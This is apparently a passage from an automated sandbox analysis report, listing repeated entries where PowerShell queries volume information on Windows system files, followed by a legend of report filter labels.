Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation |
Jump to behavior |
| Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation |
Jump to behavior |
| Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation |
Jump to behavior |
| Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation |
Jump to behavior |
| Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Queries volume information: C:\ VolumeInformation |
Jump to behavior |
| Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation |
Jump to behavior |
| Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation |
Jump to behavior |
| Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation |
Jump to behavior |
| Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation |
Jump to behavior |
| Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation |
Jump to behavior |
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet